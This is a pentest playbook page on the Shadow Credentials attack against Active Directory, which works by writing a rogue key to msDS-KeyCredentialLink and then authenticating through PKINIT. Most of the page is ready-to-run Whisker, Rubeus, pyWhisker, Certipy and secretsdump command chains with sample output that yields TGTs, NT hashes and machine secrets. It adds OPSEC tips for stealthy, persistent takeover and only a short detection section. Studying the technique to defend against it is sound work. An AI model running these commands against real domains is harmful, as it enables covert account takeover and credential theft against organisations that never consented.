--- title: "Attack #25 β€” Shadow Credentials Attack (msDS-KeyCredentialLink)" description: "Shadow Credentials is one of the stealthiest account takeover techniques in Active Directory. It abuses the msDS-KeyCredentialLink attribute β€” originally…" category: active-directory subcategory: "ACL Abuse" tags: ["active-directory", "kerberos", "adcs", "persistence", "hashing"] tools: ["Impacket", "Rubeus", "Certipy", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟑 Attack #25 β€” Shadow Credentials Attack (msDS-KeyCredentialLink).md" --- # 🟑 Attack #25 β€” Shadow Credentials Attack (msDS-KeyCredentialLink) *** ## πŸ“– How It Works Shadow Credentials is one of the **stealthiest account takeover techniques** in Active Directory. It abuses the `msDS-KeyCredentialLink` attribute β€” originally designed for **Windows Hello for Business (WHfB)** β€” to register a rogue public key on a target user or computer object. Once the key is set, the attacker uses the corresponding private key to authenticate as the target via **PKINIT** (certificate-based Kerberos authentication), receiving a TGT and NT hash without ever knowing or changing the target's password. ### Why Shadow Credentials is Superior to Password Reset | Aspect | Password Reset | Shadow Credentials | |---|---|---| | **Target notices?** | βœ… Yes β€” locked out immediately | ❌ No β€” original password still works | | **Persistence** | One-time β€” target resets back | Persistent β€” survives password changes | | **Detection** | Event 4724 β€” well-known | Event 5136 β€” less commonly monitored | | **Prerequisite** | ForceChangePassword / GenericAll | GenericWrite / GenericAll / WriteDACL on target | | **OPSEC** | Low | High | ### Requirements - **ADCS deployed** (or at least PKINIT enabled in the domain) - **Domain functional level 2016+** (for `msDS-KeyCredentialLink` attribute) - **Write access to target's `msDS-KeyCredentialLink`** (GenericWrite, GenericAll, or explicit write) *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **Write access to msDS-KeyCredentialLink** | GenericWrite, GenericAll on target user/computer | | **PKINIT / ADCS in environment** | Domain must support certificate-based auth | | **Domain functional level 2016+** | Attribute doesn't exist on older schemas | *** ## πŸ› οΈ Tools | Tool | Platform | Notes | |---|---|---| | **Whisker** | Windows | Add/remove/list shadow credentials | | **pyWhisker** | Linux | Python implementation | | **Certipy** | Linux | `shadow auto` β€” automated full chain | | **DSInternals** | Windows/PowerShell | `Set-DomainObject` key credential manipulation | | **Rubeus** | Windows | PKINIT authentication with the shadow cert | *** ## πŸ’» Full Commands ### πŸ”΄ Whisker (Windows) ```powershell # ── Add shadow credential to target user ────────────────────────────────────── .\Whisker.exe add /target:targetadmin /domain:corp.local /dc:DC01.corp.local # Output: # [*] No existing DeviceCredentials found # [*] Generated key pair # [*] DeviceID: a1b2c3d4-... # [*] Adding KeyCredential # [*] Use Rubeus with the following command: # Rubeus.exe asktgt /user:targetadmin /certificate: /password: /ptt # ── Run the outputted Rubeus command ────────────────────────────────────────── .\Rubeus.exe asktgt /user:targetadmin /certificate: \ /password: /ptt /getcredentials # Output includes NT hash via U2U # ── List existing shadow credentials ────────────────────────────────────────── .\Whisker.exe list /target:targetadmin /domain:corp.local /dc:DC01.corp.local # ── Remove shadow credential (cleanup) ──────────────────────────────────────── .\Whisker.exe remove /target:targetadmin /deviceid:a1b2c3d4-... \ /domain:corp.local /dc:DC01.corp.local ``` ### πŸ”΄ pyWhisker (Linux) ```bash # ── Add shadow credential ──────────────────────────────────────────────────── python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ --target targetadmin --action add --dc-ip 10.10.10.10 # Output: PFX certificate file and password # ── Authenticate with the certificate ───────────────────────────────────────── certipy auth -pfx -dc-ip 10.10.10.10 # Returns TGT + NT hash # ── List ────────────────────────────────────────────────────────────────────── python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ --target targetadmin --action list --dc-ip 10.10.10.10 # ── Remove ──────────────────────────────────────────────────────────────────── python3 pywhisker.py -d corp.local -u low_user -p 'Password1' \ --target targetadmin --action remove --device-id a1b2c3d4 --dc-ip 10.10.10.10 ``` ### πŸ”΄ Certipy Shadow Auto (Easiest β€” Linux) ```bash # ── Full automated chain β€” add key, auth, get hash ─────────────────────────── certipy shadow auto -u low_user@corp.local -p 'Password1' \ -account targetadmin -dc-ip 10.10.10.10 -dc-host dc01.corp.local # Output: # [*] Saved PFX to 'targetadmin.pfx' # [*] Got TGT for 'targetadmin@corp.local' # [*] Got hash: aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ``` ### πŸ”΄ Shadow Credentials on Computer Objects ```bash # ── Works on computer objects too (compromise the machine) ──────────────────── certipy shadow auto -u low_user@corp.local -p 'Password1' \ -account 'TARGET$' -dc-ip 10.10.10.10 -dc-host dc01.corp.local # Use the machine's NT hash to: # - Silver Ticket to services on that machine # - SecretsDump for local SAM/LSA secretsdump.py corp.local/'TARGET$'@TARGET.corp.local \ -hashes :2b576acbe6bcfda7294d6bd18041b8fe ``` *** ## 🎯 OPSEC Tips - **Shadow Credentials persist across password changes** β€” the key credential remains valid even after target changes their password - **Always clean up** β€” remove the DeviceID from `msDS-KeyCredentialLink` after extracting the hash/TGT - **Shadow Credentials fail if WHfB is not enabled** and there's no ADCS β€” PKINIT must be supported - **Computer objects work too** β€” you can Shadow Credential a computer to get its machine account hash - **Most OPSEC-friendly takeover** β€” the target user notices nothing; their password still works *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **5136** | Security Log (DC) | Modification of `msDS-KeyCredentialLink` attribute | | **4768** | Security Log (DC) | TGT request via PKINIT (Pre-Auth Type 16) β€” certificate-based auth for a non-smart-card user | *** ## πŸ”— Attack Chain Context ``` [Shadow Credentials] ──→ Stealthy Account Takeover Without Password Change β”‚ β”œβ”€β”€β†’ πŸ”‘ Write msDS-KeyCredentialLink β†’ auth as target via PKINIT β”œβ”€β”€β†’ πŸ”’ Survives password changes β€” persistent until key is removed β”œβ”€β”€β†’ πŸ’» Works on users AND computers β”œβ”€β”€β†’ πŸ”— Prereqs: GenericWrite (#20), GenericAll (#19), WriteDACL (#21) └──→ πŸ’€ Defeated by: monitor 5136, audit msDS-KeyCredentialLink, disable WHfB if unused ``` *** > βœ… **Attack #25 β€” Shadow Credentials complete.**